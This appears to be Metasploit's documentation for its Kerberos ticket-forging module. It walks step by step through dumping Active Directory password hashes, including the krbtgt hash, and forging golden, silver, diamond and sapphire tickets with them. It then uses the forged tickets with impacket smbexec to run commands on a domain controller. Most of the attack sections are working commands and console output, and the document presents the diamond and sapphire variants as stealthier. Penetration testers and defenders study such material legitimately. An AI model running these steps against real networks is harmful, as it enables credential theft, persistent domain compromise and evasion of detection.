Kerberos Ticket Forging (Golden/Silver tickets)
The auxiliary/admin/kerberos/forge_ticket
module allows the forging of a golden, silver, diamond or sapphire ticket.
Vulnerable Application
Any system leveraging kerberos as a means of authentication e.g. Active Directory, MSSQL
Actions
There are two kind of actions the module can run:
- FORGE_SILVER - Forge a Silver ticket - forging a service ticket. [Default]
- FORGE_GOLDEN - Forge a Golden ticket - forging a ticket granting ticket.
- FORGE_DIAMOND - Forge a Diamond ticket - forging a ticket granting ticket by copying the PAC of another user.
- FORGE_SAPPHIRE - Forge a Golden ticket - forging a ticket granting ticket by copying the PAC of a particular user, using the S4U2Self+U2U trick.
Pre-Verification steps
- Obtain your targets DOMAIN via your favorite method: e.g.
nmap <TARGET_IP>
- Next retrieve the DOMAIN_SID: e.g.
mimikatz # sekurlsa::logonpasswords
oruse auxiliary/gather/windows_secrets_dump
- Finally get the NTHASH or AES key (prefer AES key if available) of the service account you wish to target: e.g.
mimikatz # sekurlsa::logonpasswords
- this output contains both NTHASH and AES keys
Module usage
- Start msfconsole
- Do:
use auxiliary/admin/kerberos/forge_ticket
- Do:
set DOMAIN DW.LOCAL
- Do:
set DOMAIN_SID S-1-5-21-1755879683-3641577184-3486455962
- Do:
set NTHASH 88E4D9FABAECF3DEC18DD80905521B29
- Do:
set USER fake_user
- Do:
set USER_RID 500
- Do:
set SPN MSSqlSvc/dc1.dw.local:1433
(Option only used for silver tickets) - Do:
forge_silver
to generate a silver ticket orforge_golden
for a golden ticket - Use your ticket which will have been stored as loot with your chosen target
- Example usage in impacket:
export KRB5CCNAME=/path/to/ticket python3 mssqlclient.py DW.LOCAL/fake_mysql@dc1.dw.local -k -no-pass
Scenarios
Forge Golden ticket
Golden tickets can be used for persistence in an Active Directory environment. The forged golden ticket is actually a Ticket Granting Ticket (TGT) - which can be used to request arbitrary Service tickets. This module does not connect directly to a Key Distribution Center (KDC), it instead forges its own ticket.
Golden tickets can be forged using a stolen Kerberos krbtgt
account, using a password hash in NTHASH format.
For golden ticket attacks, the following information is required:
DOMAIN
- The domain, i.e.adf3.local
DOMAIN_SID
- This is the Security Identifier for the system, i.e.S-1-5-21-1266190811-2419310613-1856291569
NTHASH
- The NTHASH for the krbtgt account, i.e.767400b2c71afa35a5dca216f2389cd9
USER
- This username will be stored within the forged ticket, this must be a user that exists in Active DirectoryUSER_RID
- The relative identifier(RID) for users will be stored within the forged ticket, i.e. Administrator accounts have a RID of500
One way of extracting the krbtgt account NTHASH is to run the auxiliary/gather/windows_secrets_dump
module:
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(gather/windows_secrets_dump) > run smb://adf3.local;Administrator:p4$$w0rd@dc3.adf3.local
[*] Running module against 192.168.123.13
[*] 192.168.123.13:445 - Service RemoteRegistry is already running
[*] 192.168.123.13:445 - Retrieving target system bootKey
[+] 192.168.123.13:445 - bootKey: 0xa03745c7a9597f105a4df1e84a5aef04
... omitted for brevity ...
[*] 192.168.123.13:445 - Decrypting NL$KM
[*] 192.168.123.13:445 - Dumping cached hashes
No cached hashes on this system
[*] 192.168.123.13:445 - Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] 192.168.123.13:445 - Using the DRSUAPI method to get NTDS.DIT secrets
[*] 192.168.123.13:445 - SID enumeration progress - 0 / 24 ( 0.00%)
[*] 192.168.123.13:445 - SID enumeration progress - 24 / 24 ( 100%)
# SID's:
ADF3\Administrator: S-1-5-21-1266190811-2419310613-1856291569-500
ADF3\Guest: S-1-5-21-1266190811-2419310613-1856291569-501
ADF3\krbtgt: S-1-5-21-1266190811-2419310613-1856291569-502 <------------- Use the SID from here, the part before RID 502
ADF3\DefaultAccount: S-1-5-21-1266190811-2419310613-1856291569-503
ADF3\j.blogs: S-1-5-21-1266190811-2419310613-1856291569-1104
ADF3\admin: S-1-5-21-1266190811-2419310613-1856291569-1112
ADF3\DC3$: S-1-5-21-1266190811-2419310613-1856291569-1001
ADF3\WIN10-DC3$: S-1-5-21-1266190811-2419310613-1856291569-1608
ADF3\WIN11-DC3$: S-1-5-21-1266190811-2419310613-1856291569-1609
... omitted for brevity ...
# NTLM hashes:
ADF3\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ede47af254546a82b1743953cc4950:::
ADF3\Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ADF3\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:767400b2c71afa35a5dca216f2389cd9::: <-- The krbtgt NTHASH
With the above information a golden ticket can be forged:
msf6 auxiliary(admin/kerberos/forge_ticket) > run action=FORGE_GOLDEN domain=adf3.local domain_sid=S-1-5-21-1266190811-2419310613-1856291569 nthash=767400b2c71afa35a5dca216f2389cd9 user=Administrator
[+] MIT Credential Cache ticket saved on /Users/user/.msf4/loot/20220831223726_default_192.168.123.13_kerberos_ticket._550522.bin
[*] Auxiliary module execution completed
This newly created golden ticket is a ticket granting ticket which can be used to generate service tickets without a username or password. Common services include WinRM, SMB, etc.
Example using a golden ticket with Metasploit:
Not currently currently supported.
Example using a golden ticket with impacket:
export KRB5CCNAME=/Users/user/.msf4/loot/20220831223726_default_192.168.123.13_kerberos_ticket._550522.bin
python3 ~/impacket/examples/smbexec.py 'adf3.local/Administrator@dc3.adf3.local' -dc-ip 192.168.123.13 -k -no-pass
If this is not working for you, there is a section dedicated to common errors below.
Forging Silver ticket
A silver ticket is similar to a golden ticket. The user will compromise the password hash for a service or computer account to forge tickets which grant persistent access to services such as SMB/LDAP/MSSQL/etc.
For silver ticket attacks the following information is required:
DOMAIN
- The domain, i.e.adf3.local
DOMAIN_SID
This is the Security Identifier for the system, i.e.S-1-5-21-1266190811-2419310613-1856291569
NTHASH
- The NTHASH for the service or computer account, i.e.767400b2c71afa35a5dca216f2389cd9
USER
- This username will be stored within the forged ticket, unlike with Golden tickets - this can be a non-existent userUSER_RID
- The relative identifier(RID) for users will be stored within the forged ticket, i.e. Administrator accounts have a RID of500
SPN
- The Service Principal name, i.e.CIFS
for SMB access, orMSSqlSvc/dc1.dw.local:1433
. Other examples can be seen by runningsetspn -q */*
on the target
Example Service Principal Names:
Service Type | Server Principal Name |
---|---|
WMI | HOST or RPCSS |
WinRM | HOST or HTTP |
SMB | CIFS |
LDAP | LDAP |
MSSQL | MSSqlSvc |
One way of extracting the computer account NTHASH is to run the auxiliary/gather/windows_secrets_dump
module:
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(gather/windows_secrets_dump) > run smb://adf3.local;Administrator:p4$$w0rd@dc3.adf3.local
[*] Running module against 192.168.123.13
[*] 192.168.123.13:445 - Service RemoteRegistry is already running
[*] 192.168.123.13:445 - Retrieving target system bootKey
[+] 192.168.123.13:445 - bootKey: 0xa03745c7a9597f105a4df1e84a5aef04
... omitted for brevity ...
[*] 192.168.123.13:445 - Decrypting NL$KM
[*] 192.168.123.13:445 - Dumping cached hashes
No cached hashes on this system
[*] 192.168.123.13:445 - Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] 192.168.123.13:445 - Using the DRSUAPI method to get NTDS.DIT secrets
[*] 192.168.123.13:445 - SID enumeration progress - 0 / 24 ( 0.00%)
[*] 192.168.123.13:445 - SID enumeration progress - 24 / 24 ( 100%)
# SID's:
ADF3\Administrator: S-1-5-21-1266190811-2419310613-1856291569-500
ADF3\Guest: S-1-5-21-1266190811-2419310613-1856291569-501
ADF3\krbtgt: S-1-5-21-1266190811-2419310613-1856291569-502
ADF3\DefaultAccount: S-1-5-21-1266190811-2419310613-1856291569-503
ADF3\j.blogs: S-1-5-21-1266190811-2419310613-1856291569-1104
ADF3\admin: S-1-5-21-1266190811-2419310613-1856291569-1112
ADF3\DC3$: S-1-5-21-1266190811-2419310613-1856291569-1001 <------------- Use the SID from the targeted computer account, the part before RID 1001
... omitted for brevity ...
# NTLM hashes:
ADF3\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ede47af254546a82b1743953cc4950:::
ADF3\Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ADF3\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:767400b2c71afa35a5dca216f2389cd9:::
... omitted for brevity ...
ADF3\DC3$:1001:aad3b435b51404eeaad3b435b51404ee:fbd103200439e14d4c8adad675d5f244::: <-- The NTHASH for the targeted computer account
With the above information a silver ticket for SMB can be forged for the target host:
msf6 auxiliary(admin/kerberos/forge_ticket) > run action=FORGE_SILVER domain=adf3.local domain_sid=S-1-5-21-1266190811-2419310613-1856291569 nthash=fbd103200439e14d4c8adad675d5f244 user=Administrator spn=cifs/dc3.adf3.local
[+] MIT Credential Cache ticket saved on /Users/user/.msf4/loot/20220831223726_default_192.168.123.13_kerberos_ticket._550522.bin
[*] Auxiliary module execution completed
Example using a silver ticket with impacket:
export KRB5CCNAME=/Users/user/.msf4/loot/20220901132003_default_192.168.123.13_kerberos_ticket._554255.bin
python3 $code/impacket/examples/smbexec.py 'adf3.local/Administrator@dc3.adf3.local' -dc-ip 192.168.123.13 -k -no-pass
Forging Diamond ticket
A diamond ticket is just a golden ticket (thus requiring knowledge of the krbtgt hash), with an attempt to be stealthier, by:
- Performing an AS-REQ request to retrieve a TGT for any user
- Using the krbtgt hash to decrypt the real ticket
- Setting properties of the forged PAC to mirror those in the valid TGT
- Encrypting the forged ticket with the krbtgt hash
The primary requirement of a Diamond ticket is the same: knowledge of the krbtgt hash of the domain. The DOMAIN_SID
property is not required, as this is retrieved from the valid TGT.
To perform the first step (retrieving the TGT), you must provide sufficient information to authenticate to the domain (i.e. RHOST
, USERNAME
and PASSWORD
).
Forging Sapphire ticket
A sapphire ticket is similar to a Diamond ticket, in that it retrieves a real TGT, and copies data from that PAC onto the forged ticket. However, instead of using the ticket retrieved in the initial authentication, an additional step is performed to retrieve a PAC for another (presumably high-privilege) user:
- Authenticating to the KDC
- Using the S4U2Self and U2U extensions to request a TGS for a high-privilege user (this mirrors what the real user’s PAC would look like, but the ticket is unusable in high-privilege contexts)
- Decrypt this information
- Setting properties of the forged PAC to mirror those in the valid TGT
- Encrypting the forged ticket with the krbtgt hash
The primary requirement of a Sapphire ticket is the same as for Golden and Diamond tickets: knowledge of the krbtgt hash of the domain. The DOMAIN_SID
and DOMAIN_RID
properties are not required, as this is retrieved from the valid TGT.
To perform the first step (retrieving the TGT), you must provide sufficient information to authenticate to the domain (i.e. RHOST
, USERNAME
and PASSWORD
).
Common Mistakes
Invalid hostname
Use the full hostname of the machine you are targeting, not just the domain:
- python3 ~/impacket/examples/smbexec.py 'adf3.local/Administrator@adf3.local' -dc-ip 192.168.123.13 -k -no-pass
+ python3 ~/impacket/examples/smbexec.py 'adf3.local/Administrator@dc3.adf3.local' -dc-ip 192.168.123.13 -k -no-pass
Invalid SPN
SPNs must be in the format */*
. If this is not identical to what Active Directory is configured with, it will not work.
Verbose Mode
If you set Verbose true
you will set the module to run in a more verbose mode. This would be useful in cases where the ticket you are forging does not work as expected and in this case we print out the contents of the ticket after it’s been forged similar to the inspect_ticket
module with the key supplied.